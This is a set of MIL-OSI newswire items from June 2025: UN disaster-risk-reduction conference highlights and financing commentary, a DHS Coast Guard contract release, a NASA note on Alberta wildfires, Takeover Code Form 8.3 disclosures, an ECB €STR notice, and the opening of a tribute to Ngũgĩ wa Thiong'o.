Category: Business

MIL-OSI United Nations: GPDRR 2025 highlights: Thursday 5 June 2025

Source: UNISDR Disaster Risk Reduction

This report is provided by Earth Negotiations Bulletin/International Institute for Sustainable Development. View the original report here.

Finance is critical to implementation of the Sendai Framework on Disaster Risk Reduction (DRR), but investments have not kept pace with rising demands, and aid budgets are shrinking worldwide. In many sessions through the day, delegates focused attention on financing a wide range of needs, including school safety, measures to deal with extreme heat, and nature-based solutions (NbS).

High-level dialogue

What will it take to scale DRR financing solutions at the national and local level?

Journalist Mayowa Adegoke moderated the session.

Stine Renate Håheim, State Secretary to Minister of International Development, Norway, emphasized DRR financing as a high priority, saying, “it is better to prevent than repair afterwards.” She noted that one in three people globally-most in cities or highly vulnerable areas-are not covered by Early Warning Systems (EWS).

Hans Sy, CEO, SM Prime Holdings, explained his company’s investment in resilient building construction, such as building on concrete pillars to allow free flow of floodwaters. He stressed that risk-informed decisions based on science and technology “makes good business sense.”

Fatima Yasmin, Asian Development Bank (ADB), said the Bank regards DRR as a critical priority investment, particularly through supporting policy making, planning, advising on innovative investments, and incentivizing preparedness. On scaling DRR investments, she said financing should be fast, flexible and forward-looking.

Rob Wesseling, CEO, Co-operators Group, said no path to net zero emissions is possible without investment in both prevention and recovery. He encouraged governments to utilize the risk information gathered by insurance companies over decades to assist with decision making.

On mobilizing private sector investment, Velenkosini Fiki Hlabisa, Minister of Cooperative Governance and Traditional Affairs, South Africa, stressed that every cent invested in resilience and preparedness saves lives and livelihoods.

View of the panel during the Multi-Stakeholder Plenary. Source: IISD/ENB | Anastasia Rodopoulou.

Ministerial roundtable

Inclusive comprehensive school safety-strengthening resilience for children and youth in all hazards

The event, which convened 36 ministries, was co-chaired by Kamal Kishore, Special Representative of the UN Secretary General for Disaster Risk Reduction and Head, UNDRR, and Paul Steffen, Deputy Director, Federal Office for the Environment, Switzerland.

In opening remarks, Kishore encouraged delegates to endorse the Comprehensive School Safety Framework 2017 (CSSF), noting only 80 countries have done so, and for countries to make schools heat-resilient.

On school safety policies, Tunisia, Zimbabwe, Mongolia, Pakistan, and Saint Lucia recognized the CSSF. Portugal highlighted its DRR working group on children and youth. Brunei Darussalam, Kenya, and Portugal recognized the fundamental rights of children to safe school environments. Colombia highlighted its Law on Teaching for Sustainability, Climate Change, and Disaster Risk Management. Republic of Korea described its 2020 Child Safety Management Act.

Many countries identified education programming as fundamental to reducing risk and developing children as agents of change in their homes and communities. Malaysia, Uganda, Russia, Algeria and others described homegrown examples of such programmes, for example, student leadership groups and First Aid skills training.

Leaders from around the globe express their shared commitment to making schools safer and more resilient to disasters. Source: IISD/ENB | Anastasia Rodopoulou.

Several countries, including Greece, Kenya and Cuba, recognized the importance of social support to children experiencing disaster and loss, and the ensuing mental and emotional health impacts. The Holy See flagged the need for spiritual care of those “who have seen whole lives swept away.”

Most countries discussed sustainable and resilient school infrastructure, including standards for new or retrofitted buildings. Belgium, Republic of Moldova, and Singapore highlighted energy efficiency and climate resilience. On heat stress in schools, Singapore flagged cooling strategies and energy-efficient fans. Tunisia described its sustainable school network that integrates climate change, disaster risk, and biodiversity objectives. Spain said new schools need to be “climate shelters.” Bangladesh noted the construction of more than 5,000 cyclone-resistant schools.

Multistakeholder plenary

Investments in reducing risk and building resilience to accelerate investments in sustainable development

Kishore introduced the session, which was co-chaired by Paul Steffen, Federal Office for the Environment, Switzerland, and Paola Albrito, UNDRR. Kishore noted less than 1% of national budgets is allocated to DRR.

Countries presented their national commitments, such as Australia’s Disaster-Ready Fund, which is providing up to AUD 1 billion (USD 648 million) over five years for locally-identified needs, and Switzerland’s DRR commitment of more than CHF 2 billion (USD 2.5 billion) annually. Many expressed appreciation for international support, including for Moldova’s local adaptation plans in 38 communities, and Samoa’s community-based disaster risk management activities. Peru highlighted its introduction of budget flexibility for regional and local authorities, enabling rapid response to imminent hazards.

The Food and Agriculture Organization of the UN (FAO) reported that only 3% of all development assistance is allocated to agricultural DRR measures, even while these deliver significant returns in ensuring food security. Swiss Re highlighted the role of insurance in informing risk and mitigation measures, noting the availaility of parametric insurance, for example, against extreme heat events and flooding. The Resilience Action Fund showcased the work of the International Finance Corporation in developing the Building Resilience Index as a world-first metric for assessing the safety and risk of buildings for insurers and construction developers. The Latin America and the Caribbean Development Bank (CAF), India, and the UK welcomed innovative initiatives, such as a new center on extreme events, establishment of risk pools, and the use of AI to identify flood threats.

Delegates affirmed regional solidarity, demonstrated in Tunisia’s hosting of the Africa-Arab Platform for DRR in 2023, and Iran’s hosting of three regional organizations, including a Regional Center for Urban Water Management. Albania welcomed its responsibilities under the EU Civil Protection Code for cooperation among EU countries and other partners, which, he noted, enables access to advanced DRR solutions.

The International Organization for Migration highlighted its 2024 launch of Climate Mobility Innovation Labs for the Africa and Asia regions to develop solutions to climate-related mobility.

Steffen urged all present to accelerate investment in DRR, and to engage the private sector as key partners.

Ministerial Roundtable. Source: IISD/ENB | Anastasia Rodopoulou.

Special event on extreme heat

Moderator, Juli Trtanj, Co-Chair, Gobal Heat Health Information Network, opened the session. Celeste Saulo, Secretary-General, World Meteorological Organization (WMO), called heat a “silent killer” because it is the least managed of all climate hazards. She said 50% of countries have heat warning systems in place but only 26 have dedicated Heat Health EWS. She identified three priorities: integrating heat risk into climate and DRR governance, heat EWS, and implementation using risk information and data.

In his keynote, Pramod Kumar Mishra, Principal Secretary to the Prime Minister, India, said heat threatened public health, economic stability, and the ecological resilience of cities and communities. He underscored UNDRR’s Common Framework on Extreme Heat Risk Governance and drew attention to India’s national guidelines on heat wave management, which decentralized more than 250 heat action plans in 23 states. He called for scaling hospital and primary health care preparedness and resilience and noted India is adopting a long-term heat wave mitigation strategy, including roof-cooling technologies, passive cooling centers, revival of traditional water bodies, and improved thermal comfort and livability of informal settlements.

In a panel discussion, Benoît Faraco, Ambassador, Climate Negotiations for Decarbonized Energies and for the Prevention of Climate Risks, France, urged being modest since we are still discovering impacts and avoiding maladaptation. Ousmane Ndiaye, Director General, African Center for Meteorological Application for Development, stressed the links between heat waves, energy crises, and health care demand. Rosa Galvez, Senator, Canada, spoke about lived experience saying, “We cannot adapt forever – we must work on the causes.” Jagan Chapagain, Secretary-General, International Federation of the Red Cross and Red Crescent Societies (IFRC), said extreme heat is a humanitarian crisis. On involving the financial sector, Mia Seppo, Assistant Director General, International Labour Organization, discussed climate risk insurance, just transition principles, and access to essential services. Mishra advised that industry protect labor from heat risk.

Source: IISD/ENB | Anastasia Rodopoulou.

Special session

Comprehensive approaches to reduce loss and damage-bridging climate action and DRR

Fatou Jeng, Former Climate Advisor to the UN Secretary-General and Member of the Early Warnings for All Advisory Panel, moderated the session.

Ralph Regenvanu, Minister for Climate Change, Adaptation, Meteorology and Geo Hazards, Energy, Environment and Disaster Management, Vanuatu, appreciated the support from the Fund for responding to Loss and Damage (FRLD) and the Santiago Network, which combined forces to launch the inaugural integrated loss and damage and DRR initiative in Vanuatu.

Kishore noted that, while many DRR practices are now in place, these need to be updated to deal with climate system changes and the associated risks, uncertainty, and volatility.

Benoît Faraco, argued that the distinction between loss and damage, and DRR, is theoretical, and remains irrelevant to people on the ground who want response, prevention, action, and solidarity to alleviate their situation.

Ibrahima Cheikh Diong, Executive Director, FRLD, emphasized the need to look at how interventions can be most impactful, stressing that solutions must be country-led, and recognize Indigenous groups and civil society participants. He expressed awareness that the FRLD must be “nimble, accessible, flexible and built on partnerships, always ensuring no one is left behind.”

Carolina Fuentes Castellanos, Director, Santiago Network Secretariat, elaborated on how the network is supporting countries to accelerate loss and damage, using Vanuatu’s experience to demonstrate how the Network can accelerate fund distribution and support with bold and transformative support.

Jagan Chapagain, Secretary-General, IFRC, cautioned that the terms loss and damage represent different meanings to communities, but the bottom line is to ensure the funds really reach the local level.

Thematic Sessions

Catalyzing governance solutions for disaster and climate-related displacement

Irwin Loy, The New Humanitarian, moderated this session.

John Mussington, activist and displaced person, Antigua & Barbuda, described his work of founding the community network, Stronger Caribbean Together, with others displaced by “disaster capitalism”, as storm-damaged sites are cleared for tourism development.

Sakiasi Ditoka, Minister of Rural and Maritime Development and Disaster Management, Fiji, highlighted the 2023 Pacific Regional Mobility Framework and Fiji’s own planned relocation guidelines.

Zahra Abdi Mohamed, Director-General, National Center for Rural Development and Durable Solutions, Somalia, described Somalia’s National Transformation Plan that prioritizes anticipatory action and climate-smart livelihoods, responding to the needs of long-term displaced communities.

Fatimah Zannah Mustapha, community representative, Nigeria, called for centering the voices of local women in decision making by removing barriers, “whether digital, linguistic, or cultural.” Claudinne Ogaldes Cruz, Executive Secretary, National Coordinator for Disaster Reduction (CONRED), Guatemala, noted that many Guatemalan households are women-led and have the knowledge to inform decision making.

Robert Piper, former UN Secretary-General’s Advisor on Solutions to Internal Displacement, said line ministries responsible for decisions on land use and building codes-“those who are responsible for dealing with the failure to prevent”-must become deeply involved in the governance of disaster displacement.

Leveraging Values of Nature for Resilience: Moderated by Cecilia Aipira, United Nations Environment Programme (UNEP), the session addressed the role of nature-based solutions (NbS) in DRR.

In his keynote, Mohammed-Yahya Lafdal, General Director, National Environment and Coastline Observatory, Mauritania, highlighted the increase in tree cover through reforestation and restoration, taking into account Indigenous knowledge and solutions, and the development of barrier systems for water distribution and management in desert areas. He emphasized how addressing land degradation and rehabilitation has been Mauritania’s best solution for increasing resilience.

Rodrigo Hernández Escobar, Representative of the Latin American and Caribbean Indigenous Knowledge & DRR Network, highlighted political will and respect for Indigenous cosmovision and territories as key elements for leveraging traditional knowledge into programmes supporting NbS. Isaac Luwaga Mugumbule, Head of Landscaping, Kampala Capital City Authority, Uganda, stated that NbS are context-specific and require community involvement to be sustained.

Professor Satoru Nishikawa, Japan International Cooperation Agency (JICA), stressed the need for scientific numerical quantification, analysis, and testing on the strengths and durability of NbS. Swenja Surminski, London School of Economics, noting that NbS “are not silver bullets,” stressed the need to work with nature, drawing attention to NbS co-benefits. Oliver Schelske, Swiss Re Institute, noting the absence of standardized values for nature, emphasized that even if “not everything is insurable,” investing in nature makes sense from an insurance perspective, as it reduces risks to the asset being insured.

On the prerequisites for NbS to be viable, speakers mentioned common sense, co-benefit considerations, identifying the number of protected lives, and conducting independent auditing.

Thematic Sessions as visual summaries capturing key messages and insights. Source: IISD/ENB | Anastasia Rodopoulou.

Side event

Inclusive comprehensive school safety—Strengthening resilience for children and youth in all hazards

This side event, organized and facilitated by the Global Alliance for Disaster Risk Reduction and Resilience in the Education Sector (GADRRRES), showcased school safety and resilience programmes from Central Asia, the Pacific region and the Caribbean.

Anja Nielsen, Co-Chair, GADRRRES, gave an overview of CSSF, noting the all-hazards, all-risks approach that includes environmental, climate change, and biological health risks, technical threats, and other everyday risks. She elaborated on the global school safety survey, representing 350 million school-aged children, and highlighted, among other concerns, that significant infrastructure investment is needed to better protect children and teachers from natural hazards, with most suffering from funding constraints.

Education administrators from Saint Lucia, Tonga, and Kyrgyzstan described CSSF activities and outcomes from their regions, and emphasized: involving the children actively in school safety is a game changer; collaboration is the essence of resilience, requiring whole-of-government and whole-of-society approaches; and building capacity at all levels, particularly teachers, for comprehensive school safety is key.

IISD’s summary

The summary report of the meeting will be available on Monday, 9 June 2025, here.

MIL OSI United Nations News –

June 6, 2025
MIL-OSI United Nations: A financial backbone for stability, not band-aids for crises
Source: UNISDR Disaster Risk Reduction

The impacts of disasters are woven into all aspects of life.

Impacts send shockwaves across all systems – essential services, infrastructure, health, education and economic. They interact with climate change, conflict, economic fragility, and inequality – amplifying risks across systems.

However, even though disaster costs are rising, financing for disaster risk reduction (DRR) is largely fragmented, short-term, and reactive.

“Let us be clear: financing disaster risk reduction is not a cost – it is an investment, with benefits across different agendas: from protecting development, to reducing humanitarian needs, and achieving climate and environmental goals.”

Kamal Kishore, Special Representative of the UN Secretary-General for Disaster Risk Reduction

To protect development gains from being eroded by a spiral of deepening crises, countries must systematically embed risk reduction in national budget processes – across all levels of government. This will require a raft of innovative financing mechanisms, public-private partnerships and novel inclusive approaches to ensure that investments provide benefits to those who need them most.

At a ministerial roundtable session at the Global Platform for Disaster Risk Reduction, Accelerating Financing for Resilience: Tailored Solutions for Disaster Risk Reduction, ministers from 43 countries, together with the World Bank and UNDP, discussed the challenges and opportunities they face when financing resilience building; their experiences, successes and solutions; and concrete proposal for inclusive and equitable financing strategies.

The ministers acknowledged that there is a deficit in global financing for disaster preparedness. The Philippines, South Sudan, Fiji, Barbados, and members of the African Union, amongst others, drew connections between financial planning for disaster risk and broader climate financing, noting the important role of resources like the Green Climate Fund, the Adaptation Fund, and the Loss and Damage Fund.

Financing resilience is public investment

Too often, public budgets only respond after disaster strikes. The consequence is mounting human and economic losses, especially in vulnerable countries.

“The root causes of disaster risk – inequality, misaligned financial incentives, insufficient risk governance – remain unaddressed in many development models.”

– UNDRR’s 2025 Global Assessment Report on Disaster Risk Reduction (GAR 2025)

To address this will require a fundamental rethink, positioning disaster risk reduction firmly in development finance.

“We must support developing countries in establishing national disaster risk reduction financing systems that are tailored to their development priorities.”

– Kamal Kishore at the ministerial roundtable.

These systems must be pro-active, not reactive, and aligned with each country’s unique development goals, while integrating a firm understanding of systemic and cascading risks.

India, for example, is taking a rule-based approach with pre-determined allocations that flow from national to district levels. Japan and Norway noted that they are both mainstreaming DRR into private sector practice, with Norway advocating for legal requirements for DRR in corporate strategies.

The GAR 2025 findings reinforce this more holistic approach, recommending that countries reconfigure their financial and economic governance to create more favourable conditions for DRR investments, especially by shifting public spending “away from short-term consumption and toward resilience-building.”

Integrating disaster risk financing into budgets

Resilient budgets require more than a single DRR line item.

Mr. Kishore highlighted the need to embed risk considerations throughout public financial planning: “This includes exploring ways of embedding resilience into budget planning at every level.”

That means sectoral ministries, infrastructure agencies, local governments, and fiscal authorities must all adopt risk-informed budget planning. This shift is not just about earmarking funds, but about transforming how development priorities are selected, financed, and measured.

Countries including Brazil are calling for a global task force on effective DRR financing, while the Philippines proposed a global financing mechanism to support disaster resilience efforts, recognising the need to anchor DRR in fiscal systems.

In a conversation with Deputy Secretary-General Amina J. Mohammed, Mr Kishore noted that we need a coordinated, global system making the appropriate mechanisms accessible to those who need them most:

“We have the tools to assess risk and see how much investment will lead to what kind of reduction in risk. We really need to make it a comprehensive system – where national budgets, whether countries have high income or low income – take into account the kind of disaster risk they face and systematically invest in it.”

Ms. Mohammed noted the need to develop more innovative financing mechanisms as a key priority during the Global Platform.

“We need to get to a space where we have more tools accessible to us to do it, and that again is a big challenge for this week.”

Tackling systemic challenges

For many countries, even those with the political will to invest in reducing disaster risk, systemic barriers stand in their way. These include:
- Weak institutional frameworks for DRR investment planning.
- Limited understanding of how DRR links to fiscal risk.
- Inadequate incentives to prioritise risk reduction in capital budgeting.
DRR financing also needs to penetrate to local levels, enabling resources to reach the communities that need them most. Without fiscal devolution, even the most risk-informed national strategies will fall short in implementation.

Incentives for private sector investment

Initiatives to finance resilience must move away from reliance on public coffers.

This involves building stronger partnerships with the private sector, and cultivating greater awareness of the benefits of such investments and the dangers of neglecting them.

“We must enhance partnerships with the private sector, as it is a major source of financing that is often not guided by an understanding of disaster risks,” Kamal Kishore said.

The financial sector can play a catalytic role by developing innovative instruments, such as resilience bonds, blended finance structures, and a broad spectrum of insurance solutions. Several countries are already putting such innovations into practice:
- China described its rollout of agricultural insurance, and its investment of $154 billion in property insurance.
- Kiribati described its community-based insurance for drought programme providing payouts to farmers and fishers.
- Norway highlighted parametric insurance schemes.
- The Bahamas explained how they use their disaster-related expenditures tracking tool to map pre-disaster investments and post-disaster costs.
To mainstream such approaches, updated regulatory frameworks, disclosure standards, and fiscal incentives are needed to guide private capital toward risk reduction and embed DRR into national financial systems.

Risk-aware international finance

The global community must step up to encourage investors, both public and private, to prioritize DRR financing.

“We must rally the international community to prioritize investment in disaster risk reduction. This includes dedicating a larger portion of assistance funding to disaster risk reduction and ensuring all development funding is risk informed.”

– Kamal Kishore

Official development assistance (ODA) and climate finance must be structured and delivered accordingly. Risk-blind development projects, even when well-intentioned, can inadvertently amplify vulnerability.

Several countries at the roundtable – including Cambodia, Paraguay, and Montenegro – highlighted the importance of integrating DRR into social investment strategies, including gender-responsive financing, elderly-focused social protection, and health system resilience. Czechia called for embedding DRR funding across the humanitarian-development nexus.

“The upcoming Fourth International Conference on Financing for Development presents a critical opportunity to advance all these priorities to ensure all development is safe from disasters.”

– Kamal Kishore

The shift toward DRR financing within national budgets is technically feasible, economically wise, and morally urgent. As extreme weather events, pandemics, and conflict interact in increasingly complex ways, the costs of inaction grow exponentially.

By embedding DRR in national budgets, governments protect long-term development investments, and communities gain tools and funding for local resilience.

Additionally, the private sector becomes a co-architect of safety, increasing its stake in resilience building efforts, and international aid transitions from offering band-aids to repeated crises to providing a backbone for lasting stability.

“We must acknowledge that resilience is a long-term economic necessity, and it does have the best return on investment.”

– Amina Mohammed

MIL OSI United Nations News –
June 6, 2025
MIL-OSI USA: Secretary Noem Saves American Taxpayers Hundreds of Millions by Negotiating New Contract for the Coast Guard

Source: US Federal Emergency Management Agency

Headline: Secretary Noem Saves American Taxpayers Hundreds of Millions by Negotiating New Contract for the Coast Guard

lass=”text-align-center”>DHS is revolutionizing national security while saving the taxpayer over $260 million
WASHINGTON – Department of Homeland Security Secretary Kristi Noem announced that she successfully saved the American taxpayer over $260 million by cancelling a failing U

S

Coast Guard (USCG) shipbuilding project

Shipbuilding company Huntington Ingalls (HII) began production of a Legend-class National Security Cutter (NSC) in May 2021

It was supposed to be delivered by 2024 at the latest but is still nowhere near complete

“This is about fulfilling President Trump’s commitment to the American taxpayer,” said Secretary Noem

“Huntington Ingalls owed us this cutter over a year ago

As the Trump administration is revitalizing the U

S

Coast Guard through Force Design 2028, we need to be smart with the American taxpayer’s money

This project was over time and over budget

Now the money can be redirected to ensuring the Coast Guard remains the finest, most-capable maritime service in the world

I would like to extend my thanks to Huntington Ingalls for negotiating in good faith

”
In addition to returning over $260 million to the U

S

Treasury, the Coast Guard will receive $135 million in parts that will be used to retrofit, upgrade, and maintain the Coast Guard’s existing fleet of 10 Legend-class cutters

By cancelling the production of NSC #11 and securing the parts deal with HII, Secretary Noem has ensured that the Treasury will recoup the remaining funds for use where they are most needed

###

MIL OSI USA News –

June 6, 2025
MIL-OSI USA: Fires Near Alberta’s Oil Sands

Source: NASA

Canada has vast boreal forests that span from the Yukon in the west to Newfoundland and Labrador in the east. Each year, thousands of wildland fires char millions of hectares of these forests, particularly in the northern areas, where few people live and development is scarce. Indeed, some amount of fire is beneficial to boreal forest health and biodiversity.
Challenges arise when human activity and fires collide, as they did in May and June 2025, when several large fires raged in northern Alberta’s oil sands region. The fast-developing region is home to the world’s fourth-largest proven oil reserves. The oil sands accounted for 58 percent of oil production in Canada in 2023, according to the Canadian Association of Petroleum Producers.
On May 30, 2025, the OLI (Operational Land Imager) on Landsat 8 captured this false-color image of charred lands around oil infrastructure near Conklin. This band combination (6-5-3) helps to distinguish between unburned vegetated areas (green) and recently burned landscapes (brown). Thicker parts of the smoke plume appear light blue. Well pads and other gas and oil infrastructure appear as rectangular clearings connected by roads.
In June, news reports indicated that fires in Alberta forced some companies to evacuate workers and temporarily pushed a portion of the province’s oil production offline. Subsequent reports indicated that production resumed after conditions improved. Alberta still had 51 out-of-control wildfires burning on June 4, 2025, according to the Canadian Interagency Forest Fire Center.
NASA Earth Observatory image by Wanmei Liang, using Landsat data from the U.S. Geological Survey. Story by Adam Voiland.

MIL OSI USA News –

June 6, 2025

MIL-OSI: Form 8.3 – [CRANEWARE PLC – 05 06 2025] – (CGWL)

Source: GlobeNewswire (MIL-OSI)

FORM 8.3

PUBLIC OPENING POSITION DISCLOSURE/DEALING DISCLOSURE BY
A PERSON WITH INTERESTS IN RELEVANT SECURITIES REPRESENTING 1% OR MORE
Rule 8.3 of the Takeover Code (the “Code”)

1. KEY INFORMATION

(a) Full name of discloser:	CANACCORD GENUITY WEALTH LIMITED (for Discretionary clients)
(b) Owner or controller of interests and short positions disclosed, if different from 1(a): The naming of nominee or vehicle companies is insufficient. For a trust, the trustee(s), settlor and beneficiaries must be named.	N/A
(c) Name of offeror/offeree in relation to whose relevant securities this form relates: Use a separate form for each offeror/offeree	CRANEWARE PLC
(d) If an exempt fund manager connected with an offeror/offeree, state this and specify identity of offeror/offeree:	N/A
(e) Date position held/dealing undertaken: For an opening position disclosure, state the latest practicable date prior to the disclosure	05 JUNE 2025
(f) In addition to the company in 1(c) above, is the discloser making disclosures in respect of any other party to the offer? If it is a cash offer or possible cash offer, state “N/A”	N/A

2. POSITIONS OF THE PERSON MAKING THE DISCLOSURE

If there are positions or rights to subscribe to disclose in more than one class of relevant securities of the offeror or offeree named in 1(c), copy table 2(a) or (b) (as appropriate) for each additional class of relevant security.

(a) Interests and short positions in the relevant securities of the offeror or offeree to which the disclosure relates following the dealing (if any)

Class of relevant security:	1p ORDINARY
	Interests		Short positions
	Number	%	Number	%
(1) Relevant securities owned and/or controlled:	1,694,728	4.7860
(2) Cash-settled derivatives:
(3) Stock-settled derivatives (including options) and agreements to purchase/sell:
TOTAL:	1,694,728	4.7860

All interests and all short positions should be disclosed.

Details of any open stock-settled derivative positions (including traded options), or agreements to purchase or sell relevant securities, should be given on a Supplemental Form 8 (Open Positions).

(b) Rights to subscribe for new securities (including directors’ and other employee options)

Class of relevant security in relation to which subscription right exists:
Details, including nature of the rights concerned and relevant percentages:

3. DEALINGS (IF ANY) BY THE PERSON MAKING THE DISCLOSURE

Where there have been dealings in more than one class of relevant securities of the offeror or offeree named in 1(c), copy table 3(a), (b), (c) or (d) (as appropriate) for each additional class of relevant security dealt in.

The currency of all prices and other monetary amounts should be stated.

(a) Purchases and sales

Class of relevant security	Purchase/sale	Number of securities	Price per unit
1p ORDINARY	SALE	200	2048.4001p
1p ORDINARY	SALE	210	2057p
1p ORDINARY	PURCHASE	514	2083.5p

(b) Cash-settled derivative transactions

Class of relevant security	Product description e.g. CFD	Nature of dealing e.g. opening/closing a long/short position, increasing/reducing a long/short position	Number of reference securities	Price per unit
NONE

(c) Stock-settled derivative transactions (including options)

(i) Writing, selling, purchasing or varying

Class of relevant security	Product description e.g. call option	Writing, purchasing, selling, varying etc.	Number of securities to which option relates	Exercise price per unit	Type e.g. American, European etc.	Expiry date	Option money paid/ received per unit
NONE

(ii) Exercise

Class of relevant security

Product description
e.g. call option

Exercising/ exercised against

Number of securities

Exercise price per unit

(d) Other dealings (including subscribing for new securities)

Class of relevant security	Nature of dealing e.g. subscription, conversion	Details	Price per unit (if applicable)
NONE

4. OTHER INFORMATION

(a) Indemnity and other dealing arrangements

Details of any indemnity or option arrangement, or any agreement or understanding, formal or informal, relating to relevant securities which may be an inducement to deal or refrain from dealing entered into by the person making the disclosure and any party to the offer or any person acting in concert with a party to the offer:
Irrevocable commitments and letters of intent should not be included. If there are no such agreements, arrangements or understandings, state “none”

NONE

(b) Agreements, arrangements or understandings relating to options or derivatives

Details of any agreement, arrangement or understanding, formal or informal, between the person making the disclosure and any other person relating to:
(i) the voting rights of any relevant securities under any option; or
(ii) the voting rights or future acquisition or disposal of any relevant securities to which any derivative is referenced:
If there are no such agreements, arrangements or understandings, state “none”

NONE

(c) Attachments

Is a Supplemental Form 8 (Open Positions) attached?

Date of disclosure:	06 JUNE 2025
Contact name:	PHIL HULME
Telephone number:	01253 376551

Public disclosures under Rule 8 of the Code must be made to a Regulatory Information Service.

The Panel’s Market Surveillance Unit is available for consultation in relation to the Code’s disclosure requirements on +44 (0)20 7638 0129.

The Code can be viewed on the Panel’s website at www.thetakeoverpanel.org.uk.

The MIL Network –

June 6, 2025

MIL-OSI: Form 8.3 – [GLOBALDATA PLC – 05 06 2025] – (CGWL)

Source: GlobeNewswire (MIL-OSI)

FORM 8.3

PUBLIC OPENING POSITION DISCLOSURE/DEALING DISCLOSURE BY
A PERSON WITH INTERESTS IN RELEVANT SECURITIES REPRESENTING 1% OR MORE
Rule 8.3 of the Takeover Code (the “Code”)

1. KEY INFORMATION

(a) Full name of discloser:	CANACCORD GENUITY WEALTH LIMITED (for Discretionary clients)
(b) Owner or controller of interests and short positions disclosed, if different from 1(a): The naming of nominee or vehicle companies is insufficient. For a trust, the trustee(s), settlor and beneficiaries must be named.	N/A
(c) Name of offeror/offeree in relation to whose relevant securities this form relates: Use a separate form for each offeror/offeree	GLOBALDATA PLC
(d) If an exempt fund manager connected with an offeror/offeree, state this and specify identity of offeror/offeree:	N/A
(e) Date position held/dealing undertaken: For an opening position disclosure, state the latest practicable date prior to the disclosure	05 JUNE 2025
(f) In addition to the company in 1(c) above, is the discloser making disclosures in respect of any other party to the offer? If it is a cash offer or possible cash offer, state “N/A”	N/A

2. POSITIONS OF THE PERSON MAKING THE DISCLOSURE

(a) Interests and short positions in the relevant securities of the offeror or offeree to which the disclosure relates following the dealing (if any)

Class of relevant security:	0.01p ORDINARY
	Interests		Short positions
	Number	%	Number	%
(1) Relevant securities owned and/or controlled:	11,064,919	1.3719
(2) Cash-settled derivatives:
(3) Stock-settled derivatives (including options) and agreements to purchase/sell:
TOTAL:	11,064,919	1.3719

All interests and all short positions should be disclosed.

Details of any open stock-settled derivative positions (including traded options), or agreements to purchase or sell relevant securities, should be given on a Supplemental Form 8 (Open Positions).

(b) Rights to subscribe for new securities (including directors’ and other employee options)

Class of relevant security in relation to which subscription right exists:
Details, including nature of the rights concerned and relevant percentages:

3. DEALINGS (IF ANY) BY THE PERSON MAKING THE DISCLOSURE

The currency of all prices and other monetary amounts should be stated.

(a) Purchases and sales

Class of relevant security	Purchase/sale	Number of securities	Price per unit
0.01p ORDINARY	SALE	2,150	173.44p
0.01p ORDINARY	SALE	5,830	171.7093p
0.01p ORDINARY	SALE	10,700	171.68p
0.01p ORDINARY	PURCHASE	153,386	172.75p

(b) Cash-settled derivative transactions

Class of relevant security	Product description e.g. CFD	Nature of dealing e.g. opening/closing a long/short position, increasing/reducing a long/short position	Number of reference securities	Price per unit
NONE

(c) Stock-settled derivative transactions (including options)

(i) Writing, selling, purchasing or varying

Class of relevant security	Product description e.g. call option	Writing, purchasing, selling, varying etc.	Number of securities to which option relates	Exercise price per unit	Type e.g. American, European etc.	Expiry date	Option money paid/ received per unit
NONE

(ii) Exercise

Class of relevant security

Product description
e.g. call option

Exercising/ exercised against

Number of securities

Exercise price per unit

(d) Other dealings (including subscribing for new securities)

Class of relevant security	Nature of dealing e.g. subscription, conversion	Details	Price per unit (if applicable)
NONE

4. OTHER INFORMATION

(a) Indemnity and other dealing arrangements

NONE

(b) Agreements, arrangements or understandings relating to options or derivatives

NONE

(c) Attachments

Is a Supplemental Form 8 (Open Positions) attached?

Date of disclosure:	06 JUNE 2025
Contact name:	PHIL HULME
Telephone number:	01253 376551

Public disclosures under Rule 8 of the Code must be made to a Regulatory Information Service.

The Panel’s Market Surveillance Unit is available for consultation in relation to the Code’s disclosure requirements on +44 (0)20 7638 0129.

The Code can be viewed on the Panel’s website at www.thetakeoverpanel.org.uk.

The MIL Network –

June 6, 2025

MIL-OSI Economics: ECB to add new reporting agents to the €STR
Source: European Central Bank

6 June 2025
- 24 new banks to be added to the euro short-term rate (€STR) reporting population as of 2 July 2025
- Increase in reporting population will further support the benchmark’s robustness and representativeness
The European Central Bank (ECB), as administrator of the euro short-term rate (€STR), will expand the number of banks included in the €STR reporting population as of 2 July 2025 (reference to 1 July) by adding 24 banks to the 45 currently included in the rate’s daily calculation. The new banks were already added to the reporting population for Money Market Statistics Reporting (MMSR) on 1 July 2024, but were not included in the €STR calculation until it could be ensured that the newly reported data are of sufficiently good quality.

The expansion of the €STR sample size will improve both the robustness and the representativeness of the benchmark, which will now be supported by higher transactions volumes from a wider range of reporting institutions.

The impact on the level of the rate is expected to be limited, as the average difference observed during the testing period since July 2024 was only approximately -0.2 basis points.

The list of the new MMSR reporting banks that will be added to the €STR calculation is available on the ECB’s money market statistical reporting page.

For media queries, please contact Benoit Deeg, tel.: +49 172 1683704.

Notes:

Please find more information about the €STR.
MIL OSI Economics –
June 6, 2025
MIL-OSI Global: 3 things Ngũgĩ wa Thiong’o taught me: language matters, stories are universal, Africa can thrive

Source: The Conversation – Global Perspectives – By Charles Cantalupo, Distinguished Professor Emeritus of English, Comparative Literature, and African Studies, Penn State

Ngũgi wa Thiong’o reads from his work in Mexico in 2017. He wrote across a huge variety of genres. Tania Victoria/Secretaría de Cultura CDMX/Flickr, CC BY-SA

Celebrated Kenyan writer and decolonial scholar Ngũgĩ wa Thiong’o passed away on 28 May at the age of 87. Many tributes and obituaries have appeared across the world, but we wanted to know more about Thiong’o the man and his thought processes. So we asked Charles Cantalupo, a leading scholar of his work, to tell us more.

Who was Ngũgĩ wa Thiong’o – and who was he to you?

When I heard that Ngũgĩ had died, one of my first thoughts was about how far he had come in his life. No African writer has as many major, lasting creative achievements in such a wide range of genres as Ngũgĩ wa Thiong’o. His books include novels, plays, short stories, essays and scholarship, criticism, poetry, memoirs and children’s books.

Read more:
Five things you should know about Ngũgĩ wa Thiong’o, one of Africa’s greatest writers of all time

His fiction, nonfiction and plays from the early 1960s until today are frequently reprinted. Furthermore, Ngũgĩ’s monumental oeuvre is in two languages, English and Gĩkũyũ, and his works have been translated into many other languages.

From a large family in rural Kenya and a son of his father’s third wife, he was saved by his mother’s pushing him to be educated. This included a British high school in Kenya and Makerere University in Uganda.

When the brilliant young writer had his first big breakthrough at a 1962 meeting in Kampala, the Conference of African Writers of English Expression, he called himself “James Ngũgi”. This was also the name on the cover his first three novels. He had achieved fame already as an African writer but, as is often said, the best was yet to come.

Not until he co-wrote the play I Will Marry When I Want with Ngũgĩ wa Mirii was the name “Ngũgĩ wa Thiong’o” on the cover of his books, including on the first modern novel written in Gĩkũyũ, Devil on the Cross (Caitaani Mũtharaba-inĩ).

